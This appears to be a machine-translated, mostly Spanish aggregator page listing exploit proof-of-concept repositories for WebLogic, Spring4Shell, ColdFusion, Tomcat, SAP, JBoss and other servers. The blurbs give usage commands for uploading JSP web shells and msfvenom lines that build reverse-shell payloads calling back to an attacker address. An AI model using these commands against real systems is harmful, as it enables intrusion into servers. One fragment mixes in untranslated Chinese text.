CVE-2018-2628

CVE-2018-2628 Reproducción de la vulnerabilidad de deserialización de WebLogic weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | ...

spring4shell-CVE-2022-22965

POC simple de Spring4Shell Verificar si el endpoint es vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Explotar endpoint vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Ejecutar comando en...

CVE-2009-2265

Versión: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Ejemplo :...

Fast-CVE-2022-22965

Máquina objetivo docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest El núcleo del shell inverso se refiere a msfvenom msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Después de codificar el JSP en URL, use %3C%25替换 %25%7Bc2%7Di 代表 En el código, se...

CVE-2018-2380

CVE-2018-2380 Puntuación base CVSS v3: 6.6/10 PoC de ejecución remota de comandos mediante inyección de logs en SAP NetWeaver AS JAVA CRM Ejemplo de uso del script python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true Dónde...

spring4shell-poc

Spring4Shell POC Descripción de la vulnerabilidad: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construcción del POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Pasos para construir/ejecutar Probado con JDK 11.0.14, Spring Boot 2.6.5 y Apache Tomcat 9.0.6...

CVE-2024-50379-POC

CVE-2024-50379-POC Este repositorio contiene un script de Python diseñado para explotar CVE-2024-50379 , una vulnerabilidad que permite a los atacantes subir un shell JSP a un servidor vulnerable y ejecutar comandos arbitrarios de forma remota. Este exploit es particularmente útil cuando el...

CVE-2024-50379

Es complicado explotar manualmente, así que creé un exploit.. Uso: shell.jsp es el archivo shell, ggsl.jsp es el nombre/ruta que se guardará en el servidor de destino. ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp Aviso de exención de responsabilidad Esta herramienta está...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 script de detección por lotes de spring-core Declaración: este script es solo para fines de aprendizaje, está prohibido su uso ilegal. Si se produce destrucción maliciosa o uso ilegal, ¡no tengo nada que ver con ello! Uso: python3 CVE-2022-22965-POC.py url.txt Un...

jboss-autopwn

jboss-autopwn JBoss Autopwn as featured at BlackHat Europe 2010 - this version incorporates CVE-2010-0738 the JBoss authentication bypass VERB manipulation vulnerability as discovered by Minded Security C. Papathanasiou 2010 INTRODUCTION This JBoss script deploys a JSP shell on the target JBoss A...

CVE-2022-22965

Spring Boot CVE-2022-22965 PoC con Docker para CVE-2022-22965 con Spring Boot versión 2.6.5 🚀 Primeros pasos 1. Descargue el código de distribución desde https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip y descomprímalo. 2. Ejecute docker compose up --build para compila...

CVE-2022-29464

WSO2 Carga Arbitraria de Archivos a Ejecución Remota de Comandos RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Ejemplo python3 exploit.py https://target.org:9443 shell.jsp...

Spring4Shell-POC

Spring4Shell-POC Proceso de replicación local de la vulnerabilidad Spring4Shell Preparación del entorno Entorno: docker、docker-compose Empaquetar con mvn, generar ./target/ROOT.warshell mvn package Iniciar servicioshell docker-compose up -d Detener el servicioshell docker-compose down Procedimien...

zaphoxx-coldfusion

zaphoxx-coldfusion exploit de coldfusion basado en https://cvedetails.com/cve/CVE-2009-2265/ La razón principal por la que configuré un script en Python para este CVE en particular fue que la versión de Metasploit del mismo no me funcionó cuando intenté resolver la máquina Arctic de HTB. También...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, Exploit SAP POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 Authenticated RCE Exploitation Toolkit A modular post-auth RCE exploit targeting ScadaBR 1.1.0, enhanced for red team ops. Features Uploads weaponized .jsp shell via viewedit.shtm Supports Linux & Windows payloads SOCKS5 / HTTP proxy support Reverse shell trigger...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENAME Name of the...

rwsploit

Escáner Oracle Reports rwservlet ⚠️ Solo para uso autorizado. Ejecute esta herramienta únicamente contra sistemas que posea o para los que tenga permiso explícito por escrito. El uso no autorizado es ilegal. Un escáner de explotación enfocado para Oracle Reports Server rwservlet que apunta a...

jboss-autopwn-1

jboss-autopwn JBoss Autopwn, presentado en BlackHat Europe 2010 – esta versión incorpora CVE-2010-0738, la vulnerabilidad de omisión de autenticación de JBoss mediante manipulación del verbo VERB, descubierta por Minded Security C. Papathanasiou 2010 INTRODUCCIÓN Este script de JBoss implementa u...

CVE-2024-50379

CVE-2024-50379 Prueba de Concepto PoC Este repositorio contiene un script de prueba de concepto PoC para explotar CVE-2024-50379 , una vulnerabilidad en Apache Tomcat. La vulnerabilidad es una condición de carrera de Tiempo de Verificación Tiempo de Uso TOCTOU que puede provocar la ejecución remo...